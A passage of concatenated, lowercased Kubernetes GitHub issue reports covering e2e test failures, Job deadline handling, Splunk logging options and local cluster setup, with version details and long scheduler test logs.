0 gcr.io/kubernetes-e2e-test-images/porter:1.0 docker-pullable://gcr.io/kubernetes-e2e-test-images/porter@sha256:d6389405e453950618ae7749d9eee388f0eb32e0328a7e6583c41433aa5f2a77 docker://d4db04bb6146e4e80200f1ba142625430ac5170dbb5fb5a7a0fb3956ed39a142} {server-container-81 {nil &containerstaterunning{startedat:2018-12-04 15:14:13 +0000 utc,} nil} {nil nil nil} true 0 gcr.io/kubernetes-e2e-test-images/porter:1.0 docker-pullable://gcr.io/kubernetes-e2e-test-images/porter@sha256:d6389405e453950618ae7749d9eee388f0eb32e0328a7e6583c41433aa5f2a77 docker://e3a08ed763f4d8e852cd7758c03e7bdc281a42a3e18d5252e4ddcd311a75da7e} ,qosclass:besteffort,initcontainerstatuses:  ,nominatednodename:,}\r 16:14:39      \r    \r \r \r as far as i know the busybox image doesn't contain  curl , only  wget  so i don't understand how the pr that changed from  wget  to  curl  has passed the ci https://github.com/kubernetes/kubernetes/pull/69571\r \r \r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r git clone https://github.com/kubernetes/kubernetes.git -b v1.13.0 --depth 1\r cd kubernetes\r make ginkgo\r make what='test/e2e/e2e.test'\r \r export kubernetes_provider=vagrant\r export kubectl_path=/usr/bin/kubectl\r export kube_master=192.168.36.11\r export kube_master_ip=192.168.36.11\r export kube_master_url=\ https://192.168.36.11:6443\ \r \r go run hack/e2e.go --test --test_args=\ --ginkgo.focus=networkpolicy --e2e-verify-service-account=false --host ${kube_master_url}\ \r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  \r cc @bowei

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r  sig-release-1.14-all gke-cos-1.14-serial  https://testgrid.k8s.io/sig-release-1.14-all gke-cos-1.14-serial \r \r   which test s  are failing  :\r   sig-cluster-lifecycle   disruptive nodelease nodelease deletion node lease should be deleted when corresponding node is deleted  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cos-k8sbeta-serial/2066 \r \r   since when has it been failing  :\r seems to be failing since it was added, 2/19 for the cut of v1.14.0-beta.\r \r   testgrid link  :\r https://testgrid.k8s.io/sig-release-1.14-all gke-cos-1.14-serial\r \r   reason for failure  :\r looks like a timeout,\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/lifecycle/node_lease.go:98\r timed out after 60.000s.\r expected\r     < errors.errorstring | 0xc00357b3f0>: {\r         s: \ some node lease is not ready\ ,\r     }\r to be nil\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/lifecycle/node_lease.go:119\r    \r \r this failure has been frequently showing up  72633 and  73881, previously.\r   / /milestone v1.14\r 

in order to run k8s in our environment, i need to get logging information into splunk.  i need to pick up node logs and application logs. i know at this point there is no drop-in solution, so i know i'll need to hack something together.    what i'm seeking in this issue is not a 'here's the solution', though that would be great of course.   i'm seeking advice on which of several solutions i've come up with are most likely to work, given how kubernetes is evolving.      research and references  issue https://github.com/kubernetes/kubernetes/issues/1071  seems to have resulted in the current ability to choose 'elasticsearch' as a provider in kube-up.sh  issue  https://github.com/kubernetes/kubernetes/issues/17183  seems to indicate that the future is not yet clear.  issue https://github.com/kubernetes/kubernetes/issues/23782 contemplates some limitations of the current approach also  issue https://github.com/kubernetes/kubernetes/issues/21285 provides a proxy to send data to aws instead of es  based on many sources, it seems clear that systemd/journalctl is the future of logging in  nix. latest versions of rhel/centos/fedora  and ubuntu have moved this way.  while i'm of course willing to hack, i'd really rather avoid needing to re-build the k8s images if possible.    option 1 -- k8s->fluentd-->splunk  i could use fluentd, and then use a fluentd splunk plugin.  if i use kube-up.sh with kubernetes_logging_destination='elasticsearch', i get a fluentd/es setup.  there are plugins for fluentd that can forward content on to splunk.  but i do not know how i would configure k8s to not install elasticsearch as a part of startup. i also think this represents an extra layer of forwarding i'd rather avoid.   with this solution, i think i would need to send all application output to stdout/stderr, since this is how k8s currently gathers stuff.  this solution does not use  journald, which causes me to think this option is a doomed-to-change-in-the-near-future.   which leads me to option 2    option 2-- k8s->journald, docker->journald  i could forward all logs   from the nodes and pods too   to journald using the docker journald log driver, and then capture data out of the journald logs and send to splunk from there.  honestly this seems like the 'right' solution.  why re-invent logging capture?  if not already true, any strong security setup is going to require use of centralized logging capture,  and that will need to be based on journald.   there are two problems with this, though:  1. doing it this way will not allow kubernetes metadata to be included in the log stream, and  2. i believe this will break kubectl logs, because it relies on the docker json logs.    option 3 -- docker -> k8s -> journald  logging directly from docker to journald means there isnt a chance to add k8s meta.  what might be the coolest option is if k8s provided a docker logging driver that then proxies the data and sends it to journald.  that way, as a system administrator, i just need to go to one place to get all my logs-- the journald service on each node.  but i still get the k8s metadata too.  i have no reasonable ability to execute this option though, it would be a big change. but i'd be willing to help if this is a good way to do it.    option 4-- splunk docker log driver  splunk has an experimental log driver i could use. but it doesnt allow k8s to see the data, or to enrich it   ie, it will certainly break k8s logs  . this might work as a workaround, but it is not appealing.  http://blogs.splunk.com/2015/12/16/splunk-logging-driver-for-docker/    closing thoughts  if option 1 is the best, i could use some ideas about how i could get k8s to start up fluentd, but not start elasticsearch.  if option 2 is best, i could use some help pointing me in the right direction about how to avoid breaking kubernetes when i configure the docker daemons on the nodes to send logs to journald instead of the json logs.  if option 3 is best, i need some pointers on how i could contribute.  thanks for insights you can offer.

we have ~20 test jenkins builds are running against various gci image, and kubernetes builds already. @wonderfly kindly agreed to add another one to test docker nightly build for us. this is relatively easy comparing to today's debian-based containervm image, and less error-prone.   @liangchenye this is the first step to unblock the work of automating docker validation process which you have been working on. beyond this, you need to: - introduce node e2e test suite for automating docker validation. you can  re-use the cloud_init config introduced by @wonderfly  - include your runtime conformance test suites to the newly introduced docker validation suite. - convert our current docker performance tests written by @random-liu to the new test suite. - add docker restart / recovery, resource tracking tests.   after the first suite is done, we can expand the test suite to cover other os distro easily.

the full payload of a request is needed in the authorization callback structure in order to be able to provide narrowly defined entitlements.

e.g., to access 10.1.2.3:8080 on the internal cluster network, go to /api/v1beta1/proxy/bastion/10.1.2.3:8080/

ping @mtaufen @saad-ali @vishh \r \r couple questions: i found these prs in release-1.4 but they didn't at the time have the labels cherry-pick-candidate so i added them, which might have been incorrect.\r \r but it looks like a lot rely on the other so the ones i have are:\r  34994  35161  35224  35321  35646  35652  35349  35350  35717  35819  35813   35821  35724  36267\r 1. is this all of them?\r 2. do they need to be in 1.4.5 today or should we wait til 1.4.6 if there are more?\r

i am using mac os x 10.12.4 sierra and when i run  make test  on master, i get these network prompts  firewall:on :\r \r > ! image  https://cloud.githubusercontent.com/assets/159209/25205572/2488aa32-2518-11e7-850e-3e9e9a03507b.png \r \r this does not interrupt the tests as they keep succeeding even when you _deny_.\r  \r as far as i know, this happens when an application starts listening for connections on all interfaces instead of a particular interface or localhost  127.0.0.1 .

this a feature request  :\r \r should we mark exceeddeadline job completions: 1/parallelism: 1  with 1 pod succeed as completed instead of failed? i think it's a little wired, my expected pod completions: 1/parallelism: 1  has succeed, but the job is failed.\r \r   kubernetes version    use  kubectl version  : version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ \r \r   environment  :\r -   cloud provider or hardware configuration  : baremetal\r -   os    e.g. from /etc/os-release : \r name=\ ubuntu\ \r version=\ 16.04.2 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.2 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r -   kernel    e.g.  uname -a  :\r linux xs342 4.4.0-72-generic  93-ubuntu smp fri mar 31 14:07:41 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r   what happened  :\r i use the job.yaml as below\r \r    yaml\r apiversion: batch/v1\r kind: job\r metadata:\r   name: test-job-deadline\r   labels:\r     name: test-job-deadline\r spec:\r   activedeadlineseconds: 5\r   completions: 1\r   template:\r     metadata:\r       labels:\r         name: test-job-deadline\r     spec:\r       containers:\r       - name: test\r         image: busybox:1.26.2-glibc\r         args:\r         - sleep 10 && echo done && exit 0\r         command:\r         - sh\r         - -c\r         imagepullpolicy: ifnotpresent\r       restartpolicy: never\r    \r \r and got job failed with 1 pod succeeded, here's the kubectl get job\r    yaml\r status:\r   conditions:\r   - lastprobetime: 2017-05-26t06:19:46z\r     lasttransitiontime: 2017-05-26t06:19:46z\r     message: job was active longer than specified deadline\r     reason: deadlineexceeded\r     status: \ true\ \r     type: failed\r   starttime: 2017-05-26t06:19:33z\r   succeeded: 1\r    \r \r   what you expected to happen  :\r \r should we consider job completions: 1/parallelism: 1  with 1 pod succeed as completed even the job has exceed the activedeadline?\r \r i spend some time to read the code, it appears because:\r the pod success kick a update event, and the jobcontroller syncjob \ test-job-deadline\   first check the job  pastactivedeadline  https://github.com/kubernetes/kubernetes/blob/release-1.6/pkg/controller/job/jobcontroller.go l334  and mark the job failed.\r \r if i set 'sleep sometime && echo done && exit 0' the sometime is longer than 2   min-resync-period, the result was as expected job failed with succeed: 0, failed: 1, that's because the event was kicked by informers sync.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r kubectl apply -f job.yaml\r

is this a bug report or feature request?    choose one :\r bug\r \r   kubernetes version    use  kubectl version  :\r    \r  root@ib15b13 kubernetes   kc version\r client version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.0-alpha.4.835+77a8c258391f30\ , gitcommit:\ 77a8c258391f30bb1d99c8eef0aba79218eaa445\ , gittreestate:\ clean\ , builddate:\ 2017-05-31t07:16:40z\ , goversion:\ go1.8\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.0-alpha.4.835+77a8c258391f30\ , gitcommit:\ 77a8c258391f30bb1d99c8eef0aba79218eaa445\ , gittreestate:\ clean\ , builddate:\ 2017-05-31t07:16:40z\ , goversion:\ go1.8\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : n/a\r -   os    e.g. from /etc/os-release : rhe 7.2\r -   kernel    e.g.  uname -a  :  linux ib15b13.eng.platformlab.ibm.com 3.10.0-327.el7.x86_64  1 smp thu oct 29 17:29:29 edt 2015 x86_64 x86_64 x86_64 gnu/linux \r \r \r   what happened  :\r the node resource is empty when start local cluster by  ./hack/local-up-cluster.sh .\r \r   what you expected to happen  :\r there's one node in this local cluster.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r    \r ./hack/local-up-cluster.sh\r kubectl get nodes\r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. :\r no.\r   note:   please file issues for subcomponents under the appropriate repo\r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubectl  https://github.com/kubernetes/kubectl/issues/new  |\r | kubeadm   |  kubernetes/kubeadm  https://github.com/kubernetes/kubeadm/issues/new  |\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r validates resource limits of pods that are allowed to run\r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r 1.6.1\r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ 351eadd265c6b752c600fd53f4c15da379cdada2\ , gittreestate:\ clean\ , builddate:\ 2017-06-01t06:22:44z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ 351eadd265c6b752c600fd53f4c15da379cdada2\ , gittreestate:\ clean\ , builddate:\ 2017-06-01t06:22:44z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  :\r local setup\r -   os    e.g. from /etc/os-release :\r vmware photon 1.0\ \r -   kernel    e.g.  uname -a  :\r linux k8s-master-0-ebbe850c-0a28-4fd8-b416-03084eb816ed 4.4.41-1.ph1-esx  1-photon smp tue jan 10 23:46:44 utc 2017 x86_64 gnu/linux\r \r -   install tools  :\r -   others  :\r \r \r   what happened  :\r this e2e test  validates resource limits of pods that are allowed to run  failed.\r \r   what you expected to happen  :\r should always pass.\r \r   how to reproduce it    as minimally and precisely as possible :\r run this test in a setup which node's cpu capacity is different than cpu allocatable.\r \r   anything else we need to know  :\r i will submit a fix for this issue.\r \r details about capacity and allocatable:\r https://github.com/kubernetes/community/blob/master/contributors/design-proposals/node-allocatable.md\r \r in the local setup, capacity = 2000m and allocatable = 1900m.\r \r root@k8s-master-0-ebbe850c-0a28-4fd8-b416-03084eb816ed   ~    kubectl describe node k8s-node-0-ebbe850c-0a28-4fd8-b416-03084eb816ed\r name:                   k8s-node-0-ebbe850c-0a28-4fd8-b416-03084eb816ed\r role:\r labels:                 beta.kubernetes.io/arch=amd64\r                         beta.kubernetes.io/os=linux\r                         failure-domain.beta.kubernetes.io/region=sddc\r                         failure-domain.beta.kubernetes.io/zone=nova\r                         kubernetes.io/hostname=k8s-node-0-ebbe850c-0a28-4fd8-b416-03084eb816ed\r                         node-role.kubernetes.io/node=true\r annotations:            node.alpha.kubernetes.io/ttl=0\r                         volumes.kubernetes.io/controller-managed-attach-detach=true\r taints:                 <none>\r creationtimestamp:      tue, 13 jun 2017 10:46:07 +0000\r phase:\r conditions:\r   type                  status  lastheartbeattime                       lasttransitiontime                      reason                          message\r   ----                  ------  -----------------                       ------------------                      ------                          -------\r   outofdisk             false   thu, 15 jun 2017 06:51:47 +0000         tue, 13 jun 2017 10:46:07 +0000         kubelethassufficientdisk        kubelet has su\r   memorypressure        false   thu, 15 jun 2017 06:51:47 +0000         tue, 13 jun 2017 10:46:07 +0000         kubelethassufficientmemory      kubelet has su\r   diskpressure          false   thu, 15 jun 2017 06:51:47 +0000         tue, 13 jun 2017 10:46:07 +0000         kubelethasnodiskpressure        kubelet has no\r   ready                 true    thu, 15 jun 2017 06:51:47 +0000         tue, 13 jun 2017 10:46:07 +0000         kubeletready                    kubelet is pos\r addresses:              192.168.0.4,k8s-node-0-ebbe850c-0a28-4fd8-b416-03084eb816ed\r capacity:\r  cpu:           2\r  memory:        4048232ki\r  pods:          110\r allocatable:\r  cpu:           1900m\r  memory:        3445832ki\r  pods:          110\r system info:\r  machine id:                    8e025a21a4254e11b028584d9d8b12c4\r  system uuid:                   4217db4d-954b-7d1a-014b-cb31e02b0679\r  boot id:                       eabbc849-5c82-453a-9e03-4d6dbe5018fc\r  kernel version:                4.4.41-1.ph1-esx\r  os image:                      debian gnu/linux 8  jessie \r  operating system:              linux\r  architecture:                  amd64\r  container runtime version:     docker://1.12.1\r  kubelet version:               v1.6.1\r  kube-proxy version:            v1.6.1\r externalid:                     e7d14427-d6ea-4d62-958a-a70ba79054fa\r non-terminated pods:             4 in total \r   namespace                     name                                                                    cpu requests    cpu limits      memory requests memory\r   ---------                     ----                                                                    ------------    ----------      --------------- ------\r   kube-system                   dnsmasq-z77g3                                                           70m  3%         100m  5%        70mi  2%        170mi\r   kube-system                   flannel-k8s-node-0-ebbe850c-0a28-4fd8-b416-03084eb816ed                 150m  7%        300m  15%       64m  1%         500m  \r   kube-system                   kube-proxy-k8s-node-0-ebbe850c-0a28-4fd8-b416-03084eb816ed              150m  7%        500m  26%       64m  1%         2g  56\r   kube-system                   kubedns-autoscaler-1428750645-btwl6                                     20m  1%         0  0%           10mi  0%        0  0% \r allocated resources:\r    total limits may be over 100 percent, i.e., overcommitted. \r   cpu requests  cpu limits      memory requests memory limits\r   ------------  ----------      --------------- -------------\r   390m  20%     900m  47%       206920ki  6%    2678257920  75% \r events:         <none>\r \r \r full output of the test case:\r 04:31:52  it  validates resource limits of pods that are allowed to run  conformance \r 04:31:52   /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:216\r 04:31:52 jun 13 11:37:49.256: info: pod dnsmasq-1508732111-sk20q requesting resource cpu=40m on node k8s-node-1-ebbe850c-0a28-4fd8-b416-03084eb816ed\r 04:31:52 jun 13 11:37:49.256: info: pod dnsmasq-autoscaler-3605072793-45s0t requesting resource cpu=20m on node k8s-node-0-ebbe850c-0a28-4fd8-b416-03084eb816ed\r 04:31:52 jun 13 11:37:49.256: info: pod flannel-k8s-node-0-ebbe850c-0a28-4fd8-b416-03084eb816ed requesting resource cpu=150m on node k8s-node-0-ebbe850c-0a28-4fd8-b416-03084eb816ed\r 04:31:52 jun 13 11:37:49.256: info: pod flannel-k8s-node-1-ebbe850c-0a28-4fd8-b416-03084eb816ed requesting resource cpu=150m on node k8s-node-1-ebbe850c-0a28-4fd8-b416-03084eb816ed\r 04:31:52 jun 13 11:37:49.256: info: pod flannel-k8s-node-2-ebbe850c-0a28-4fd8-b416-03084eb816ed requesting resource cpu=150m on node k8s-node-2-ebbe850c-0a28-4fd8-b416-03084eb816ed\r 04:31:52 jun 13 11:37:49.256: info: pod kube-proxy-k8s-node-0-ebbe850c-0a28-4fd8-b416-03084eb816ed requesting resource cpu=150m on node k8s-node-0-ebbe850c-0a28-4fd8-b416-03084eb816ed\r 04:31:52 jun 13 11:37:49.256: info: pod kube-proxy-k8s-node-1-ebbe850c-0a28-4fd8-b416-03084eb816ed requesting resource cpu=150m on node k8s-node-1-ebbe850c-0a28-4fd8-b416-03084eb816ed\r 04:31:52 jun 13 11:37:49.256: info: pod kube-proxy-k8s-node-2-ebbe850c-0a28-4fd8-b416-03084eb816ed requesting resource cpu=150m on node k8s-node-2-ebbe850c-0a28-4fd8-b416-03084eb816ed\r 04:31:52 jun 13 11:37:49.256: info: pod kubedns-1482036730-6d6k7 requesting resource cpu=150m on node k8s-node-1-ebbe850c-0a28-4fd8-b416-03084eb816ed\r 04:31:52 jun 13 11:37:49.256: info: pod kubedns-autoscaler-1428750645-btwl6 requesting resource cpu=20m on node k8s-node-0-ebbe850c-0a28-4fd8-b416-03084eb816ed\r 04:31:52 jun 13 11:37:49.256: info: using pod capacity: 500m\r 04:31:52 jun 13 11:37:49.256: info: node: k8s-node-0-ebbe850c-0a28-4fd8-b416-03084eb816ed has cpu capacity: 1660m\r 04:31:52 jun 13 11:37:49.256: info: node: k8s-node-1-ebbe850c-0a28-4fd8-b416-03084eb816ed has cpu capacity: 1510m\r 04:31:52 jun 13 11:37:49.256: info: node: k8s-node-2-ebbe850c-0a28-4fd8-b416-03084eb816ed has cpu capacity: 1700m\r 04:31:52 step: starting additional 9 pods to fully saturate the cluster cpu and trying to start another one\r 04:31:53 jun 13 11:37:50.582: info: waiting for running...\r 04:41:53 jun 13 11:47:50.611: info: unexpected error occurred: error waiting for 9 pods to be running - probably a timeout: timeout while waiting for pods with labels \ startpodsid=ba603655-502c-11e7-b75f-0242ac110003\  to be running\r 04:41:53  aftereach   k8s.io  schedulerpredicates  serial \r 04:41:53   /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:120\r 04:41:53 step: collecting events from namespace \ e2e-tests-sched-pred-jhgng\ .\r 04:41:54 step: found 35 events.\r 04:41:54 jun 13 11:47:50.792: info: at 2017-06-13 11:37:59.651185657 +0000 utc - event for overcommit-0: {default-scheduler } scheduled: successfully assigned overcommit-0 to k8s-node-2-ebbe850c-0a28-4fd8-b416-03084eb816ed\r 04:41:54 jun 13 11:47:50.793: info: at 2017-06-13 11:37:59.775804379 +0000 utc - event for overcommit-1: {default-scheduler } scheduled: successfully assigned overcommit-1 to k8s-node-0-ebbe850c-0a28-4fd8-b416-03084eb816ed\r 04:41:54 jun 13 11:47:50.793: info: at 2017-06-13 11:37:59.893304345 +0000 utc - event for overcommit-2: {default-scheduler } scheduled: successfully assigned overcommit-2 to k8s-node-1-ebbe850c-0a28-4fd8-b416-03084eb816ed\r 04:41:54 jun 13 11:47:50.793: info: at 2017-06-13 11:38:00 +0000 utc - event for overcommit-8: {default-scheduler } failedscheduling: no nodes are available that match all of the following predicates:: insufficient cpu  3 .\r 04:41:54 jun 13 11:47:50.793: info: at 2017-06-13 11:38:00.015292995 +0000 utc - event for overcommit-0: {kubelet k8s-node-2-ebbe850c-0a28-4fd8-b416-03084eb816ed} pulled: container image \ gcr.io/google_containers/pause-amd64:3.0\  already present on machine\r 04:41:54 jun 13 11:47:50.793: info: at 2017-06-13 11:38:00.019736997 +0000 utc - event for overcommit-3: {default-scheduler } scheduled: successfully assigned overcommit-3 to k8s-node-0-ebbe850c-0a28-4fd8-b416-03084eb816ed\r 04:41:54 jun 13 11:47:50.793: info: at 2017-06-13 11:38:00.050906811 +0000 utc - event for overcommit-0: {kubelet k8s-node-2-ebbe850c-0a28-4fd8-b416-03084eb816ed} created: created container with docker id bc88097573f4; security: seccomp=unconfined \r 04:41:54 jun 13 11:47:50.794: info: at 2017-06-13 11:38:00.142455157 +0000 utc - event for overcommit-0: {kubelet k8s-node-2-ebbe850c-0a28-4fd8-b416-03084eb816ed} started: started container with docker id bc88097573f4\r 04:41:54 jun 13 11:47:50.794: info: at 2017-06-13 11:38:00.157982586 +0000 utc - event for overcommit-4: {default-scheduler } scheduled: successfully assigned overcommit-4 to k8s-node-2-ebbe850c-0a28-4fd8-b416-03084eb816ed\r 04:41:54 jun 13 11:47:50.794: info: at 2017-06-13 11:38:00.166539231 +0000 utc - event for overcommit-1: {kubelet k8s-node-0-ebbe850c-0a28-4fd8-b416-03084eb816ed} pulled: container image \ gcr.io/google_containers/pause-amd64:3.0\  already present on machine\r 04:41:54 jun 13 11:47:50.794: info: at 2017-06-13 11:38:00.204710213 +0000 utc - event for overcommit-1: {kubelet k8s-node-0-ebbe850c-0a28-4fd8-b416-03084eb816ed} created: created container with docker id e8e873bd8c84; security: seccomp=unconfined \r 04:41:54 jun 13 11:47:50.794: info: at 2017-06-13 11:38:00.294017361 +0000 utc - event for overcommit-5: {default-scheduler } scheduled: successfully assigned overcommit-5 to k8s-node-1-ebbe850c-0a28-4fd8-b416-03084eb816ed\r 04:41:54 jun 13 11:47:50.794: info: at 2017-06-13 11:38:00.338767642 +0000 utc - event for overcommit-1: {kubelet k8s-node-0-ebbe850c-0a28-4fd8-b416-03084eb816ed} started: started container with docker id e8e873bd8c84\r 04:41:54 jun 13 11:47:50.794: info: at 2017-06-13 11:38:00.419582613 +0000 utc - event for overcommit-6: {default-scheduler } scheduled: successfully assigned overcommit-6 to k8s-node-2-ebbe850c-0a28-4fd8-b416-03084eb816ed\r 04:41:54 jun 13 11:47:50.795: info: at 2017-06-13 11:38:00.463381364 +0000 utc - event for overcommit-3: {kubelet k8s-node-0-ebbe850c-0a28-4fd8-b416-03084eb816ed} pulled: container image \ gcr.io/google_containers/pause-amd64:3.0\  already present on machine\r 04:41:54 jun 13 11:47:50.795: info: at 2017-06-13 11:38:00.555049661 +0000 utc - event for overcommit-3: {kubelet k8s-node-0-ebbe850c-0a28-4fd8-b416-03084eb816ed} created: created container with docker id c8a4c8b52203; security: seccomp=unconfined \r 04:41:54 jun 13 11:47:50.795: info: at 2017-06-13 11:38:00.555079061 +0000 utc - event for overcommit-7: {default-scheduler } scheduled: successfully assigned overcommit-7 to k8s-node-0-ebbe850c-0a28-4fd8-b416-03084eb816ed\r 04:41:54 jun 13 11:47:50.795: info: at 2017-06-13 11:38:00.598968664 +0000 utc - event for overcommit-4: {kubelet k8s-node-2-ebbe850c-0a28-4fd8-b416-03084eb816ed} pulled: container image \ gcr.io/google_containers/pause-amd64:3.0\  already present on machine\r 04:41:54 jun 13 11:47:50.795: info: at 2017-06-13 11:38:00.653063316 +0000 utc - event for overcommit-4: {kubelet k8s-node-2-ebbe850c-0a28-4fd8-b416-03084eb816ed} created: created container with docker id 4fce6687e8a4; security: seccomp=unconfined \r 04:41:54 jun 13 11:47:50.795: info: at 2017-06-13 11:38:00.674731813 +0000 utc - event for overcommit-3: {kubelet k8s-node-0-ebbe850c-0a28-4fd8-b416-03084eb816ed} started: started container with docker id c8a4c8b52203\r 04:41:54 jun 13 11:47:50.795: info: at 2017-06-13 11:38:00.785977451 +0000 utc - event for overcommit-4: {kubelet k8s-node-2-ebbe850c-0a28-4fd8-b416-03084eb816ed} started: started container with docker id 4fce6687e8a4\r 04:41:54 jun 13 11:47:50.795: info: at 2017-06-13 11:38:00.882331297 +0000 utc - event for overcommit-6: {kubelet k8s-node-2-ebbe850c-0a28-4fd8-b416-03084eb816ed} pulled: container image \ gcr.io/google_containers/pause-amd64:3.0\  already present on machine\r 04:41:54 jun 13 11:47:50.796: info: at 2017-06-13 11:38:00.882933189 +0000 utc - event for overcommit-2: {kubelet k8s-node-1-ebbe850c-0a28-4fd8-b416-03084eb816ed} pulling: pulling image \ gcr.io/google_containers/pause-amd64:3.0\ \r 04:41:54 jun 13 11:47:50.796: info: at 2017-06-13 11:38:00.92095361 +0000 utc - event for overcommit-6: {kubelet k8s-node-2-ebbe850c-0a28-4fd8-b416-03084eb816ed} created: created container with docker id e7f67991a9f7; security: seccomp=unconfined \r 04:41:54 jun 13 11:47:50.796: info: at 2017-06-13 11:38:00.971598439 +0000 utc - event for overcommit-7: {kubelet k8s-node-0-ebbe850c-0a28-4fd8-b416-03084eb816ed} pulled: container image \ gcr.io/google_containers/pause-amd64:3.0\  already present on machine\r 04:41:54 jun 13 11:47:50.796: info: at 2017-06-13 11:38:00.976781249 +0000 utc - event for overcommit-5: {kubelet k8s-node-1-ebbe850c-0a28-4fd8-b416-03084eb816ed} pulling: pulling image \ gcr.io/google_containers/pause-amd64:3.0\ \r 04:41:54 jun 13 11:47:50.796: info: at 2017-06-13 11:38:00.989614179 +0000 utc - event for overcommit-7: {kubelet k8s-node-0-ebbe850c-0a28-4fd8-b416-03084eb816ed} created: created container with docker id a4bd102d342b; security: seccomp=unconfined \r 04:41:54 jun 13 11:47:50.796: info: at 2017-06-13 11:38:01.011193603 +0000 utc - event for overcommit-6: {kubelet k8s-node-2-ebbe850c-0a28-4fd8-b416-03084eb816ed} started: started container with docker id e7f67991a9f7\r 04:41:54 jun 13 11:47:50.796: info: at 2017-06-13 11:38:01.096810602 +0000 utc - event for overcommit-7: {kubelet k8s-node-0-ebbe850c-0a28-4fd8-b416-03084eb816ed} started: started container with docker id a4bd102d342b\r 04:41:54 jun 13 11:47:50.796: info: at 2017-06-13 11:38:06.662955962 +0000 utc - event for overcommit-2: {kubelet k8s-node-1-ebbe850c-0a28-4fd8-b416-03084eb816ed} pulled: successfully pulled image \ gcr.io/google_containers/pause-amd64:3.0\ \r 04:41:54 jun 13 11:47:50.797: info: at 2017-06-13 11:38:06.689096418 +0000 utc - event for overcommit-2: {kubelet k8s-node-1-ebbe850c-0a28-4fd8-b416-03084eb816ed} created: created container with docker id 6720d8dd2600; security: seccomp=unconfined \r 04:41:54 jun 13 11:47:50.797: info: at 2017-06-13 11:38:06.8270745 +0000 utc - event for overcommit-2: {kubelet k8s-node-1-ebbe850c-0a28-4fd8-b416-03084eb816ed} started: started container with docker id 6720d8dd2600\r 04:41:54 jun 13 11:47:50.797: info: at 2017-06-13 11:38:09.572915768 +0000 utc - event for overcommit-5: {kubelet k8s-node-1-ebbe850c-0a28-4fd8-b416-03084eb816ed} pulled: successfully pulled image \ gcr.io/google_containers/pause-amd64:3.0\ \r 04:41:54 jun 13 11:47:50.797: info: at 2017-06-13 11:38:09.597306711 +0000 utc - event for overcommit-5: {kubelet k8s-node-1-ebbe850c-0a28-4fd8-b416-03084eb816ed} created: created container with docker id f2950a4e9469; security: seccomp=unconfined \r 04:41:54 jun 13 11:47:50.797: info: at 2017-06-13 11:38:09.691636257 +0000 utc - event for overcommit-5: {kubelet k8s-node-1-ebbe850c-0a28-4fd8-b416-03084eb816ed} started: started container with docker id f2950a4e9469\r 04:41:54 jun 13 11:47:51.055: info: pod                                                                        node                                               phase    grace  conditions\r 04:41:54 jun 13 11:47:51.055: info: overcommit-0                                                               k8s-node-2-ebbe850c-0a28-4fd8-b416-03084eb816ed    running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-13 11:37:59 +0000 utc  } {ready true 0001-01-01 00:00:00 +0000 utc 2017-06-13 11:38:00 +0000 utc  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-13 11:37:59 +0000 utc  } \r 04:41:54 jun 13 11:47:51.055: info: overcommit-1                                                               k8s-node-0-ebbe850c-0a28-4fd8-b416-03084eb816ed    running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-13 11:37:59 +0000 utc  } {ready true 0001-01-01 00:00:00 +0000 utc 2017-06-13 11:38:00 +0000 utc  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-13 11:37:59 +0000 utc  } \r 04:41:54 jun 13 11:47:51.055: info: overcommit-2                                                               k8s-node-1-ebbe850c-0a28-4fd8-b416-03084eb816ed    running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-13 11:37:59 +0000 utc  } 